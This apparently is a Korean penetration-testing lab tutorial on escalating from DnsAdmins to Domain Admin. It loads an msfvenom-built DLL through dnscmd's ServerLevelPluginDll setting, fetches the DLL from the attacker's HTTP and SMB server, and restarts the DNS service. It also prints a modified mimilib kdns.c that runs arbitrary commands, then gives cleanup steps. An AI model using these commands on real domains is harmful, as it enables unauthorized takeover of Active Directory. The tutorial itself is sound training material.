DNS Admin

DnsAdmins ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ ๋„คํŠธ์›Œํฌ์˜ DNS ์ •๋ณด์— ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Windows DNS ์„œ๋น„์Šค๋Š” ์‚ฌ์šฉ์ž ์ง€์ • ํ”Œ๋Ÿฌ๊ทธ์ธ์„ ์ง€์›ํ•˜๋ฉฐ, ๋กœ์ปฌ๋กœ ํ˜ธ์ŠคํŒ…๋œ DNS ์˜์—ญ์˜ ๋ฒ”์œ„์— ์†ํ•˜์ง€ ์•Š๋Š” ์ด๋ฆ„ ์ฟผ๋ฆฌ๋ฅผ ํ•ด๊ฒฐํ•˜๊ธฐ ์œ„ํ•ด ํ”Œ๋Ÿฌ๊ทธ์ธ์—์„œ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. DNS ์„œ๋น„์Šค๋Š” NT AUTHORITY\SYSTEM์œผ๋กœ ์‹คํ–‰๋˜๋ฏ€๋กœ ์ด ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ์—์Šค์ปฌ๋ ˆ์ด์…˜ํ•˜๊ฑฐ๋‚˜ ๋ณ„๋„์˜ ์„œ๋ฒ„๊ฐ€ ๋„๋ฉ”์ธ์˜ DNS ์„œ๋ฒ„๋กœ ์ž‘๋™ํ•˜๋Š” ์ƒํ™ฉ์—์„œ ์ž ์žฌ์ ์œผ๋กœ ํ™œ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚ด์žฅ๋œ dnscmd ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”Œ๋Ÿฌ๊ทธ์ธ DLL์˜ ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ›Œ๋ฅญํ•œ ๊ฒŒ์‹œ๋ฌผ์— ์ž์„ธํžˆ ์„ค๋ช…๋œ ๋Œ€๋กœ ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ DNS๊ฐ€ ์‹คํ–‰๋  ๋•Œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋งค์šฐ ์ผ๋ฐ˜์ ์ž„):

  • DNS ๊ด€๋ฆฌ๋Š” RPC๋ฅผ ํ†ตํ•ด ์ˆ˜ํ–‰๋ฉ๋‹ˆ๋‹ค.

  • ServerLevelPluginDll์„ ์‚ฌ์šฉํ•˜๋ฉด DLL ๊ฒฝ๋กœ๋ฅผ ํ™•์ธํ•˜์ง€ ์•Š๊ณ ๋„ ์‚ฌ์šฉ์ž ์ •์˜ DLL์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ž‘์—…์€ ๋ช…๋ น์ค„์—์„œ dnscmd ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • DnsAdmins ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์ด ์•„๋ž˜ dnscmd ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ฉด HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\์„œ๋น„์Šค์˜\DNS\ํŒŒ๋ผ๋ฏธํ„ฐ\์„œ๋ฒ„๋ ˆ๋ฒจํ”Œ๋Ÿฌ๊ทธ์ธDll ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค๊ฐ€ ์ฑ„์›Œ์ง‘๋‹ˆ๋‹ค.

  • DNS ์„œ๋น„์Šค๊ฐ€ ๋‹ค์‹œ ์‹œ์ž‘๋˜๋ฉด ์ด ๊ฒฝ๋กœ์— ์žˆ๋Š” DLL(์ฆ‰, ๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์˜ ์ปดํ“จํ„ฐ ๊ณ„์ •์ด ์•ก์„ธ์Šคํ•  ์ˆ˜ ์žˆ๋Š” ๋„คํŠธ์›Œํฌ ๊ณต์œ )์ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

  • ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ๋กœ๋“œํ•˜์—ฌ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ์–ป๊ฑฐ๋‚˜ Mimikatz์™€ ๊ฐ™์€ ํˆด์„ DLL๋กœ ๋กœ๋“œํ•˜์—ฌ ์ž๊ฒฉ ์ฆ๋ช…์„ ๋คํ”„ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

DnsAdmins ์•ก์„ธ์Šค ํ™œ์šฉ

์•…์„ฑ DLL ์ƒ์„ฑ

์•…์„ฑ DLL์„ ์ƒ์„ฑํ•˜์—ฌ msfvenom์„ ์‚ฌ์šฉํ•˜์—ฌ ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ทธ๋ฃน์— ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•…์„ฑ DLL ์ƒ์„ฑ

realblackcat@htb[/htb]$ msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 313 bytes
Final size of dll file: 5120 bytes
Saved as: adduser.dll

๋กœ์ปฌ HTTP ์„œ๋ฒ„ ์‹œ์ž‘

๋‹ค์Œ์œผ๋กœ Python HTTP ์„œ๋ฒ„๋ฅผ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค.

๋กœ์ปฌ HTTP ์„œ๋ฒ„ ์‹œ์ž‘

realblackcat@htb[/htb]$ python3 -m http.server 7777

Serving HTTP on 0.0.0.0 port 7777 (http://0.0.0.0:7777/) ...
10.129.43.9 - - [19/May/2021 19:22:46] "GET /adduser.dll HTTP/1.1" 200 -

Others : smbserver ์‹œ์ž‘, ํŒŒ์ผ ๋‹ค์šด

root@kali: smbserver.py s .
*Evil-WinRM* PS C:\Users\ryan\Documents> dnscmd.exe /config /serverlevelplugindll \\10.10.14.3\s\rev.dll

Target์— ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

๋Œ€์ƒ์— ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค.

Target์— ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

PS C:\htb> wget "http://10.10.14.3:7777/adduser.dll" -outfile "adduser.dll"

๋จผ์ € ๊ถŒํ•œ์ด ์—†๋Š” ์‚ฌ์šฉ์ž๋กœ dnscmd ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ๋กœ๋“œํ•˜๋ฉด ์–ด๋–ค ์ผ์ด ๋ฐœ์ƒํ•˜๋Š”์ง€ ์‚ดํŽด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

๋น„๊ถŒํ•œ ์‚ฌ์šฉ์ž๋กœ DLL ๋กœ๋“œํ•˜๊ธฐ

๋น„๊ถŒํ•œ ์‚ฌ์šฉ์ž๋กœ DLL ๋กœ๋“œํ•˜๊ธฐ

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

DNS Server failed to reset registry property.
    Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED

์˜ˆ์ƒ๋Œ€๋กœ ์ผ๋ฐ˜ ์‚ฌ์šฉ์ž๋กœ ์ด ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋ ค๊ณ  ํ•˜๋ฉด ์„ฑ๊ณตํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ช…๋ น์€ DnsAdmins ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›๋งŒ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DnsAdmin์˜ ๊ตฌ์„ฑ์›์œผ๋กœ DLL ๋กœ๋“œํ•˜๊ธฐ

DnsAdmin์˜ ๊ตฌ์„ฑ์›์œผ๋กœ DLL ๋กœ๋“œํ•˜๊ธฐ

C:\htb> Get-ADGroupMember -Identity DnsAdmins

distinguishedName : CN=netadm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL
name              : netadm
objectClass       : user
objectGUID        : 1a1ac159-f364-4805-a4bb-7153051a8c14
SamAccountName    : netadm
SID               : S-1-5-21-669053619-2741956077-1013132368-1109  

์‚ฌ์šฉ์ž ์ง€์ • DLL ๋กœ๋“œ

DnsAdmins ๊ทธ๋ฃน์—์„œ ๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ์„ ํ™•์ธํ•œ ํ›„ ๋ช…๋ น์„ ๋‹ค์‹œ ์‹คํ–‰ํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž ์ง€์ • DLL ๋กœ๋“œ

C:\htb> dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully.

์ฐธ๊ณ : ์‚ฌ์šฉ์ž ์ง€์ • DLL์˜ ์ „์ฒด ๊ฒฝ๋กœ๋ฅผ ์ง€์ •ํ•ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ๊ณต๊ฒฉ์ด ์ œ๋Œ€๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค์— ๋Œ€ํ•œ ์ง์ ‘์ ์ธ ๊ถŒํ•œ์ด ์—†์œผ๋ฏ€๋กœ DnsAdmins ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›๋งŒ dnscmd ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์•…์„ฑ ํ”Œ๋Ÿฌ๊ทธ์ธ์˜ ๊ฒฝ๋กœ๊ฐ€ ํฌํ•จ๋œ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์„ค์ •์ด ๊ตฌ์„ฑ๋˜๊ณ  ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์ƒ์„ฑ๋˜๋ฉด ๋‹ค์Œ์— DNS ์„œ๋น„์Šค๊ฐ€ ์‹œ์ž‘๋  ๋•Œ DLL์ด ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. DnsAdmins ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์ด๋ผ๊ณ  ํ•ด์„œ DNS ์„œ๋น„์Šค๋ฅผ ๋‹ค์‹œ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์€ ์—†์ง€๋งŒ, ์‹œ์Šคํ…œ ๊ด€๋ฆฌ์ž๊ฐ€ DNS ๊ด€๋ฆฌ์ž์—๊ฒŒ ์ด ์ž‘์—…์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DNS ์„œ๋น„์Šค๋ฅผ ๋‹ค์‹œ ์‹œ์ž‘ํ•œ ํ›„(์‚ฌ์šฉ์ž์—๊ฒŒ ์ด ์ˆ˜์ค€์˜ ์•ก์„ธ์Šค ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ) ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ์‹คํ–‰ํ•˜๊ณ  ์‚ฌ์šฉ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜(์šฐ๋ฆฌ์˜ ๊ฒฝ์šฐ) ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. DNS ์„œ๋ฒ„๋ฅผ ๋‹ค์‹œ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š” ์•ก์„ธ์Šค ๊ถŒํ•œ์ด ์—†๋Š” ๊ฒฝ์šฐ ์„œ๋ฒ„ ๋˜๋Š” ์„œ๋น„์Šค๊ฐ€ ๋‹ค์‹œ ์‹œ์ž‘๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ ค์•ผ ํ•ฉ๋‹ˆ๋‹ค. DNS ์„œ๋น„์Šค์— ๋Œ€ํ•œ ํ˜„์žฌ ์‚ฌ์šฉ์ž์˜ ๊ถŒํ•œ์„ ํ™•์ธํ•ด ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž SID ์ฐพ๊ธฐ

๋จผ์ € ์‚ฌ์šฉ์ž์˜ SID๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž SID ์ฐพ๊ธฐ

C:\htb> wmic useraccount where name="netadm" get sid

SID
S-1-5-21-669053619-2741956077-1013132368-1109

DNS ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ ํ™•์ธ

์‚ฌ์šฉ์ž์˜ SID๋ฅผ ์•Œ๋ฉด sc ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด ์‚ฌ์šฉ์ž์—๊ฒŒ ๊ฐ๊ฐ SERVICE_START ๋ฐ SERVICE_STOP์œผ๋กœ ๋ณ€ํ™˜๋˜๋Š” RPWP ๊ถŒํ•œ์ด ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DNS ์„œ๋น„์Šค์— ๋Œ€ํ•œ ๊ถŒํ•œ ํ™•์ธ

C:\htb> sc.exe sdshow DNS

D:(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SO)(A;;RPWP;;;S-1-5-21-669053619-2741956077-1013132368-1109)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

Windows์˜ SDDL ๊ตฌ๋ฌธ์— ๋Œ€ํ•œ ์„ค๋ช…์€ Windows ๊ธฐ์ดˆ ๋ชจ๋“ˆ์„ ์ฐธ์กฐํ•˜์„ธ์š”.

DNS ์„œ๋น„์Šค ์ค‘์ง€

์ด๋Ÿฌํ•œ ๊ถŒํ•œ์„ ํ™•์ธํ•œ ํ›„ ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์—ฌ ์„œ๋น„์Šค๋ฅผ ์ค‘์ง€ํ•˜๊ณ  ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DNS ์„œ๋น„์Šค ์ค‘์ง€

C:\htb> sc stop dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 3  STOP_PENDING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x1
        WAIT_HINT          : 0x7530

DNS ์„œ๋น„์Šค๊ฐ€ ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ์‹œ์ž‘ํ•˜๊ณ  ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜์ง€๋งŒ ์ƒํƒœ๋ฅผ ํ™•์ธํ•˜๋ฉด ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์‹œ์ž‘ํ•˜์ง€ ๋ชปํ•œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค(๋‚˜์ค‘์— ์ž์„ธํžˆ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค).

DNS ์„œ๋น„์Šค ์‹œ์ž‘

DNS ์„œ๋น„์Šค ์‹œ์ž‘

C:\htb> sc start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 6960
        FLAGS              :

๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ ํ™•์ธ

๋ชจ๋“  ๊ฒƒ์ด ๊ณ„ํš๋Œ€๋กœ ์ง„ํ–‰๋˜๋ฉด ๊ณ„์ •์ด ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ทธ๋ฃน์— ์ถ”๊ฐ€๋˜๊ฑฐ๋‚˜ ์—ฐ๊ฒฐ์„ ๋‹ค์‹œ ์ œ๊ณตํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ๋งŒ๋“  ๊ฒฝ์šฐ ๋ฆฌ๋ฒ„์Šค ์…ธ์„ ๋ฐ›๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

๊ทธ๋ฃน ๋ฉค๋ฒ„์‹ญ ํ™•์ธ

C:\htb> net group "Domain Admins" /dom

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator            netadm
The command completed successfully.

์ •๋ฆฌ

๋„๋ฉ”์ธ ์ปจํŠธ๋กค๋Ÿฌ์—์„œ ๊ตฌ์„ฑ์„ ๋ณ€๊ฒฝํ•˜๊ณ  DNS ์„œ๋น„์Šค๋ฅผ ์ค‘์ง€/์žฌ์‹œ์ž‘ํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ํŒŒ๊ดด์ ์ธ ์ž‘์—…์ด๋ฏ€๋กœ ๋งค์šฐ ์‹ ์ค‘ํ•˜๊ฒŒ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์นจํˆฌ ํ…Œ์Šคํ„ฐ๋กœ์„œ ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ž‘์—…์„ ์ง„ํ–‰ํ•˜๊ธฐ ์ „์— ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋จผ์ € ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ด๋Š” ์ž ์žฌ์ ์œผ๋กœ ์ „์ฒด Active Directory ํ™˜๊ฒฝ์˜ DNS๋ฅผ ๋‹ค์šด์‹œํ‚ค๊ณ  ๋งŽ์€ ๋ฌธ์ œ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๊ณ ๊ฐ์ด ์ด ๊ณต๊ฒฉ์„ ์ง„ํ–‰ํ•˜๋„๋ก ํ—ˆ๋ฝํ•˜๋Š” ๊ฒฝ์šฐ, ์ €ํฌ๋Š” ํ”์ ์„ ๋‚จ๊ธฐ์ง€ ์•Š๊ณ  ์ง์ ‘ ์ •๋ฆฌํ•˜๊ฑฐ๋‚˜ ๊ณ ๊ฐ์—๊ฒŒ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ๋˜๋Œ๋ฆด ์ˆ˜ ์žˆ๋Š” ๋‹จ๊ณ„๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

์ด๋Ÿฌํ•œ ๋‹จ๊ณ„๋Š” ๋กœ์ปฌ ๋˜๋Š” ๋„๋ฉ”์ธ ๊ด€๋ฆฌ์ž ๊ณ„์ •์œผ๋กœ ์ƒ์Šน๋œ ์ฝ˜์†”์—์„œ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ์ถ”๊ฐ€ ํ™•์ธ

์ฒซ ๋ฒˆ์งธ ๋‹จ๊ณ„๋Š” ServerLevelPluginDll ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ์ œ๊ฑฐํ•˜๊ธฐ ์ „๊นŒ์ง€๋Š” DNS ์„œ๋น„์Šค๋ฅผ ๋‹ค์‹œ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์‹œ์ž‘ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ์ถ”๊ฐ€ ํ™•์ธ

C:\htb> reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WINLPE-DC01.INLANEFREIGHT.LOCAL
    Forwarders    REG_MULTI_SZ    1.1.1.1\08.8.8.8
    ForwardingTimeout    REG_DWORD    0x3
    IsSlave    REG_DWORD    0x0
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1
    ServerLevelPluginDll    REG_SZ    adduser.dll

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ์‚ญ์ œ

reg ์‚ญ์ œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์‚ฌ์šฉ์ž ์ง€์ • DLL์„ ๊ฐ€๋ฆฌํ‚ค๋Š” ํ‚ค๋ฅผ ์ œ๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ‚ค ์‚ญ์ œ

C:\htb> reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters  /v ServerLevelPluginDll

Delete the registry value ServerLevelPluginDll (Yes/No)? Y
The operation completed successfully.

DNS ์„œ๋น„์Šค ๋‹ค์‹œ ์‹œ์ž‘

์ด ์ž‘์—…์ด ์™„๋ฃŒ๋˜๋ฉด DNS ์„œ๋น„์Šค๋ฅผ ๋‹ค์‹œ ์‹œ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DNS ์„œ๋น„์Šค ๋‹ค์‹œ ์‹œ์ž‘

C:\htb> sc.exe start dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4984
        FLAGS              :

DNS ์„œ๋น„์Šค ์ƒํƒœ ํ™•์ธ

๋ชจ๋“  ๊ฒƒ์ด ๊ณ„ํš๋Œ€๋กœ ์ง„ํ–‰๋˜์—ˆ๋‹ค๋ฉด DNS ์„œ๋น„์Šค๋ฅผ ์ฟผ๋ฆฌํ•˜๋ฉด ์‹คํ–‰ ์ค‘์ž„์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ ๋กœ์ปฌ ํ˜ธ์ŠคํŠธ ๋˜๋Š” ๋„๋ฉ”์ธ์˜ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด nslookup์„ ์ˆ˜ํ–‰ํ•˜์—ฌ DNS๊ฐ€ ํ™˜๊ฒฝ ๋‚ด์—์„œ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DNS ์„œ๋น„์Šค ์ƒํƒœ ํ™•์ธ

C:\htb> sc query dns

SERVICE_NAME: dns
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

๋‹ค์‹œ ํ•œ ๋ฒˆ ๊ฐ•์กฐํ•˜์ง€๋งŒ, ์ด๋Š” ์ž ์žฌ์ ์œผ๋กœ ํŒŒ๊ดด์ ์ธ ๊ณต๊ฒฉ์ด๋ฏ€๋กœ ๊ณ ๊ฐ์˜ ๋ช…์‹œ์ ์ธ ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›๊ณ  ๊ณ ๊ฐ๊ณผ ํ˜‘๋ ฅํ•˜์—ฌ ์ˆ˜ํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ณ ๊ฐ์ด ์œ„ํ—˜์„ ์ดํ•ดํ•˜๊ณ  ์ „์ฒด ๊ฐœ๋… ์ฆ๋ช…์„ ๋ณด๊ณ ์ž ํ•˜๋Š” ๊ฒฝ์šฐ ์ด ์„น์…˜์— ์„ค๋ช…๋œ ๋‹จ๊ณ„์— ๋”ฐ๋ผ ๊ณต๊ฒฉ์„ ์‹œ์—ฐํ•˜๊ณ  ์ดํ›„์— ์ •๋ฆฌํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ๊ฒƒ์ž…๋‹ˆ๋‹ค.


Mimilib.dll ์‚ฌ์šฉ

์ด ๊ฒŒ์‹œ๋ฌผ์—์„œ ์ž์„ธํžˆ ์„ค๋ช…ํ•œ ๊ฒƒ์ฒ˜๋Ÿผ, Mimikatz ๋„๊ตฌ ๊ฐœ๋ฐœ์ž๊ฐ€ ๋งŒ๋“  mimilib.dll์„ ํ™œ์šฉํ•˜์—ฌ ์—ญ์…ธ ์›๋ผ์ด๋„ˆ ๋˜๋Š” ์›ํ•˜๋Š” ๋‹ค๋ฅธ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜๋„๋ก kdns.c ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜์—ฌ ๋ช…๋ น ์‹คํ–‰ ๊ถŒํ•œ์„ ์–ป์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฝ”๋“œ: c

/*	Benjamin DELPY `gentilkiwi`
	https://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kdns.h"

DWORD WINAPI kdns_DnsPluginInitialize(PLUGIN_ALLOCATOR_FUNCTION pDnsAllocateFunction, PLUGIN_FREE_FUNCTION pDnsFreeFunction)
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginCleanup()
{
	return ERROR_SUCCESS;
}

DWORD WINAPI kdns_DnsPluginQuery(PSTR pszQueryName, WORD wQueryType, PSTR pszRecordOwnerName, PDB_RECORD *ppDnsRecordListHead)
{
	FILE * kdns_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
	if(kdns_logfile = _wfopen(L"kiwidns.log", L"a"))
#pragma warning(pop)
	{
		klog(kdns_logfile, L"%S (%hu)\n", pszQueryName, wQueryType);
		fclose(kdns_logfile);
	    system("ENTER COMMAND HERE");
	}
	return ERROR_SUCCESS;
}

WPAD ๋ ˆ์ฝ”๋“œ ๋งŒ๋“ค๊ธฐ

